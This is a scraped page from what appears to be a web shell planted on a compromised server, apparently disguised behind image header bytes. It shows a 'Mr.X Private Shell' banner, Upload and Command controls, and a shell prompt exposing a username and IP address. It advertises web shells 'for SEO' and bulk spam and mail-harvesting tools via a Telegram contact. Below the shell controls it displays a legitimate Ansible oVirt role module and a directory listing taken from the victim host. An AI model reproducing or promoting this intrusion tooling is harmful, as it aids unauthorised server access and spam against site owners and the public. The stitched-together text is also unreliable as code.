����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
# -*- coding: utf-8 -*-
#
# Copyright (c) 2016 Red Hat, Inc.
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)

from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

DOCUMENTATION = '''
---
module: ovirt_role
short_description: Module to manage roles in oVirt/RHV
version_added: "1.0.0"
author: "Martin Necas (@mnecas)"
description:
    - "Module to manage roles in oVirt/RHV."
options:
    name:
        description:
            - "Name of the role to manage."
        type: str
    id:
        description:
            - "ID of the role to manage."
        type: str
    description:
        description:
            - "Description of the role."
        type: str
    state:
        description:
            - "Should the role be present/absent."
        choices: ['present', 'absent']
        type: str
        default: present
    administrative:
        description:
            - "Defines the role as administrative-only or not."
        type: bool
        default: false
    permits:
        description:
            - "List of permits which role will have"
            - "Permit 'login' is default and all roles will have it."
            - "List can contain name of permit."
        type: list
        elements: str
extends_documentation_fragment: ovirt.ovirt.ovirt
'''

EXAMPLES = '''
# Examples don't contain auth parameter for simplicity,
# look at ovirt_auth module to see how to reuse authentication:

# Create administrative role with two permits
- ovirt.ovirt.ovirt_role:
    name: role
    administrative: true
    permits:
      - manipulate_permissions
      - create_instance

# Remove role
- ovirt.ovirt.ovirt_role:
    name: role
    state: absent

# Remove all permit
- ovirt.ovirt.ovirt_role:
    name: role
    administrative: ture
    permits:
      - login
'''

RETURN = '''
ovirt_role:
    description: "List of dictionaries describing the Roles. Role attributes are mapped to dictionary keys,
                  all Roles attributes can be found at following url: http://ovirt.github.io/ovirt-engine-api-model/master/#types/role."
    returned: On success.
    type: list
'''

from ansible_collections.ovirt.ovirt.plugins.module_utils.ovirt import (
    BaseModule,
    check_sdk,
    convert_to_bytes,
    create_connection,
    equal,
    get_dict_of_struct,
    get_link_name,
    get_id_by_name,
    ovirt_full_argument_spec,
    search_by_attributes,
    search_by_name,
)
from ansible.module_utils.basic import AnsibleModule
import traceback

try:
    import ovirtsdk4.types as otypes
except ImportError:
    pass


class RoleModule(BaseModule):
    def build_entity(self):
        if 'login' not in self.param('permits'):
            self.param('permits').append('login')
        all_permits = self.get_all_permits()
        return otypes.Role(
            id=self.param('id'),
            name=self.param('name'),
            administrative=self.param('administrative') if self.param(
                'administrative') else None,
            permits=[
                otypes.Permit(id=all_permits.get(new_permit)) for new_permit in self.param('permits')
            ] if self.param('permits') else None,
            description=self.param('description') if self.param('administrative') else None,
        )

    def get_all_permits(self):
        return dict((permit.name, permit.id) for permit in self._connection.system_service().cluster_levels_service().level_service('4.3').get().permits)

    def update_check(self, entity):
        def check_permits():
            if self.param('permits'):
                if 'login' not in self.param('permits'):
                    self.param('permits').append('login')
                permits_service = self._service.service(entity.id).permits_service()
                current = [er.name for er in permits_service.list()]
                passed = self.param('permits')
                if not sorted(current) == sorted(passed):
                    if self._module.check_mode:
                        return False
                    # remove all
                    for permit in permits_service.list():
                        permits_service.permit_service(permit.id).remove()
                    # add passed permits
                    all_permits = self.get_all_permits()
                    for new_permit in passed:
                        permits_service.add(otypes.Permit(id=all_permits.get(new_permit)))
                    return False
            return True

        return (
            check_permits() and
            equal(self.param('administrative'), entity.administrative) and
            equal(self.param('description'), entity.description)
        )


def main():
    argument_spec = ovirt_full_argument_spec(
        state=dict(
            choices=['present', 'absent'],
            default='present',
        ),
        id=dict(default=None),
        name=dict(default=None),
        description=dict(default=None),
        administrative=dict(type='bool', default=False),
        permits=dict(type='list', default=[], elements='str'),
    )
    module = AnsibleModule(
        argument_spec=argument_spec,
        supports_check_mode=True,
        required_one_of=[['id', 'name']],
    )

    check_sdk(module)

    try:
        auth = module.params.pop('auth')
        connection = create_connection(auth)
        roles_service = connection.system_service().roles_service()
        roles_module = RoleModule(
            connection=connection,
            module=module,
            service=roles_service,
        )
        state = module.params['state']
        if state == 'present':
            ret = roles_module.create()
        elif state == 'absent':
            ret = roles_module.remove()
        module.exit_json(**ret)
    except Exception as e:
        module.fail_json(msg=str(e), exception=traceback.format_exc())
    finally:
        connection.close(logout=auth.get('token') is None)


if __name__ == "__main__":
    main()

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
__init__.py File 0 B 0644
ovirt_affinity_group.py File 13.37 KB 0644
ovirt_affinity_label.py File 6.93 KB 0644
ovirt_affinity_label_info.py File 6.94 KB 0644
ovirt_api_info.py File 3.05 KB 0644
ovirt_auth.py File 11.28 KB 0644
ovirt_cluster.py File 35.27 KB 0644
ovirt_cluster_info.py File 4.56 KB 0644
ovirt_datacenter.py File 11.43 KB 0644
ovirt_datacenter_info.py File 4.05 KB 0644
ovirt_disk.py File 41.3 KB 0644
ovirt_disk_info.py File 4.46 KB 0644
ovirt_disk_profile.py File 6.6 KB 0644
ovirt_event.py File 7.74 KB 0644
ovirt_event_info.py File 5.79 KB 0644
ovirt_external_provider.py File 14.8 KB 0644
ovirt_external_provider_info.py File 7.14 KB 0644
ovirt_group.py File 5.31 KB 0644
ovirt_group_info.py File 4.44 KB 0644
ovirt_host.py File 29.01 KB 0644
ovirt_host_info.py File 5.29 KB 0644
ovirt_host_network.py File 21.84 KB 0644
ovirt_host_pm.py File 8.32 KB 0644
ovirt_host_storage_info.py File 6.57 KB 0644
ovirt_instance_type.py File 25.52 KB 0644
ovirt_job.py File 7.48 KB 0644
ovirt_mac_pool.py File 5.28 KB 0644
ovirt_network.py File 13.64 KB 0644
ovirt_network_info.py File 4.53 KB 0644
ovirt_nic.py File 11.59 KB 0644
ovirt_nic_info.py File 5.7 KB 0644
ovirt_permission.py File 10.72 KB 0644
ovirt_permission_info.py File 5.92 KB 0644
ovirt_qos.py File 13.95 KB 0644
ovirt_quota.py File 10.98 KB 0644
ovirt_quota_info.py File 5.02 KB 0644
ovirt_role.py File 5.88 KB 0644
ovirt_scheduling_policy_info.py File 5.15 KB 0644
ovirt_snapshot.py File 19.09 KB 0644
ovirt_snapshot_info.py File 4.93 KB 0644
ovirt_storage_connection.py File 10.02 KB 0644
ovirt_storage_domain.py File 31.08 KB 0644
ovirt_storage_domain_info.py File 4.77 KB 0644
ovirt_storage_template_info.py File 5.69 KB 0644
ovirt_storage_vm_info.py File 5.5 KB 0644
ovirt_system_option_info.py File 4.49 KB 0644
ovirt_tag.py File 8.19 KB 0644
ovirt_tag_info.py File 6.11 KB 0644
ovirt_template.py File 47.02 KB 0644
ovirt_template_info.py File 4.64 KB 0644
ovirt_user.py File 6.31 KB 0644
ovirt_user_info.py File 4.42 KB 0644
ovirt_vm.py File 124.17 KB 0644
ovirt_vm_info.py File 7.15 KB 0644
ovirt_vm_os_info.py File 4.81 KB 0644
ovirt_vmpool.py File 19.17 KB 0644
ovirt_vmpool_info.py File 4.48 KB 0644
ovirt_vnic_profile.py File 11.95 KB 0644
ovirt_vnic_profile_info.py File 4.52 KB 0644